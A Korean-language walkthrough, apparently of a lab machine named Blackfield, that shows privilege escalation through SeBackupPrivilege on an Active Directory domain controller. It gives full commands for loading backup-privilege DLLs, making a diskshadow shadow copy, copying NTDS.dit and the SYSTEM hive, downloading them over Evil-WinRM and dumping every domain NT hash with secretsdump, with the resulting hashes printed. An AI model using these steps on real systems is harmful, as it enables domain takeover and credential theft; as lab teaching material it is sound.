Backup Operators 그룹은 Active Directory에서 시스템 파일을 백업할 수 있는 그룹입니다.
백업을 할 수 있기 위해서는 기본적으로 모든 디렉토리 및 파일에 접근이 가능해야 하기 때문에
제약 없이 거의 모든 파일을 읽을 수 있으며 ACL을 무시할 수 있습니다.
백업 권한을 사용하여 권한상승이 가능하고 Windows 내에서 매우 중요한 권한입니다.
ntds에는 Domain Controller가 사용하며 대부분의 정보를 기록하는데,
우리가 권한 상승에 필요한 NT Hash에 대한 정보들 또한 담겨있습니다.
그리고 이렇게 암호화된 정보를 복호화하는 키에 대한 정보는 SYSTEM에 존재합니다.
이러한 매커니즘 때문에 SAM, SYSTEM 파일을 가져온다면
secretsdump.py 모듈을 사용하여 NT Hash 추출이 가능합니다.
AD 환경에서는 대부분의 정보를 Domain Controller가 관리하며
Domain Controller의 NTDS.dit 파일에 계정, 그룹, 컴퓨터, 도메인 등의 메타데이터에 대한
모든 정보를 기록하고 있습니다.
때문에 우리가 침투한 서버가 Local이 아닌 Active Directory의 경우
SAM과 SYSTEM 파일을 가져온다고 하더라도 실제로 권한상승으로 이어지기는 힘듭니다.
우리가 해당 파일로부터 가져올 수 있는 것은 Local 영역의 NT Hash일 뿐이기 때문에
Active Directory 계정에 대한 NT Hash를 가져오기 위해서는 NTDS.dit 파일이 필요합니다.
Practice
NTDS.dit 파일을 가져오기 위해서는 필요한 동적 라이브러리 링크가 필요합니다.
아래의 깃허브로부터 필요한 라이브러리를 다운로드 할 수 있습니다.
라이브러리를 다운로드 했다면 DLL을 현재 시스템에 로드한 뒤 Copy-SeBackupPrivilege 모듈을 사용하여
Windows 환경에서 파일을 복제할 수 있습니다.
# DLL 파일 로드
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
# Copy-FileSeBackupPrivilege를 이용한 ntds 파일 복제
Copy-FileSeBackupPrivilege C:\\Windows\\ntds\\ntds.dit C:\\Window\\Temp\\ntds.dit
하지만 NTDS.dit의 경우 Domain Controller가 항상 사용하고 있기 때문에 이미 다른 프로세스에서 실행중이어서
복제할 수 없다는 오류 메시지가 출력될 것입니다.
NTDS.dit 파일을 복제해야지만 NT Hash 덤핑이 가능하지만 NTDS.dit 파일을
일반적인 방법으로는 복제하지 못하는 것에서 해결점은 diskshadow입니다.
diskshadow는 Microsoft에서 제공하는 백업 기능 중 하나로
diskshadow가 백업을 하는 방식인 VSS(Volume Shadow Copy Service) 방식에 그 이유가 있습니다.
Microsoft에서 공식 문서를 따르면 VSS를 통한 섀도 복사본 방식은
특정 프로세스가 실행 중일 때 I/O 인터럽트를 발생시켜 스냅샷을 생성한다고 합니다.
그렇기 때문에 NTDS.dit가 Domain Controller에서 항상 실행중이라고 하더라도
우리는 VSS 방식을 사용한 diskshadow를 통하여 복제본을 생성할 수 있습니다.
set context persistent nowriters
set metadata C:\\Windows\\Temp\\metedata.cab
set verbose on
add volume C: alias privesccopy
create
expose %privesccopy% x:
Kali 로컬에서 위와 같은 텍스트 파일을 만든 뒤에
Windows에서 해당 텍스트 파일을 명령어로 로드가 가능하도록 하기 위하여 처리를 해줍니다.
unix2dos script.txt
이렇게 변경을 해주는 이유는 Linux 환경은 줄바꿈 형식이 LF(Line Feed)인 반면
Windows는 CRLF(Carriage Return Line Feed)이기 때문입니다.
포맷을 변환한 script.txt 파일을 Windows 환경으로 옮긴 뒤에 diskshadow를 통해
섀도 파일을 복사합니다.
/s 는 diskshadow에서 스크립트 모드 활성화 옵션입니다.
diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 07/11/2024 12:51:25
-> set context persistent nowriters
-> set metadata C:\Windows\Temp\metedata.cab
-> set verbose on
-> add volume C: alias privesccopy
-> create
Alias privesccopy for shadow ID {0b4d7cef-913a-4dea-9d6e-4ede825cb7e8} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {69065e8e-9801-426f-acdc-af53b5d66300} set as environment variable.
Inserted file Manifest.xml into .cab file metedata.cab
Inserted file Dis7F5C.tmp into .cab file metedata.cab
Querying all shadow copies with the shadow copy set ID {69065e8e-9801-426f-acdc-af53b5d66300}
* Shadow copy ID = {0b4d7cef-913a-4dea-9d6e-4ede825cb7e8} %privesccopy%
- Shadow copy set: {69065e8e-9801-426f-acdc-af53b5d66300} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 11/7/2024 12:51:25 PM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %privesccopy% x:
-> %privesccopy% = {0b4d7cef-913a-4dea-9d6e-4ede825cb7e8}
The shadow copy was successfully exposed as x:\.
->
명령을 내리면 스크립트가 실행되어 현시점의 C 드라이브에 있는 파일들이
diskshadow를 통해서 X 드라이브로 복제된 것이 확인됩니다.
*Evil-WinRM* PS C:\Windows\Temp> cd X:\Windows\ntds\
*Evil-WinRM* PS X:\Windows\ntds> ls
Directory: X:\Windows\ntds
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/7/2024 10:13 AM 8192 edb.chk
-a---- 11/7/2024 12:21 PM 10485760 edb.log
-a---- 11/7/2024 10:21 AM 10485760 edb00006.log
-a---- 2/23/2020 3:13 AM 10485760 edbres00001.jrs
-a---- 2/23/2020 3:13 AM 10485760 edbres00002.jrs
-a---- 2/23/2020 9:41 AM 10485760 edbtmp.log
-a---- 11/7/2024 10:21 AM 18874368 ntds.dit
-a---- 11/7/2024 10:13 AM 16384 ntds.jfm
-a---- 11/7/2024 9:58 AM 434176 temp.edb
우리가 권한상승에 필요한 것은 C:\Windows\NTDS\NTDS.dit 파일이었으니
이것과 동일한 파일인 X:\Windows\NTDS\NTDS.dit 파일을 로컬로 복제한 뒤
secretsdump.py 모듈을 사용하여 Active Directory NT Hash 정보를 모두 가져와줍니다.
# ntds 파일 다운로드
Copy-FileSeBackupPrivilege X:\\Windows\\ntds\\ntds.dit C:\\Windows\\Temp\\ntds.dit
download ntds.dit
# system 레지스트리 다운로드
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
download SYSTEM
로컬로 가져온 ntds.dit와 system 파일을 이용해서 ntds에 저장된
Active Directory 사용자 NT Hash 정보를 모두 덤핑할 수 있습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-secretsdump -system system -ntds ntds.dit LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e4cafdc6532ec2ef75604e4789075e65:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::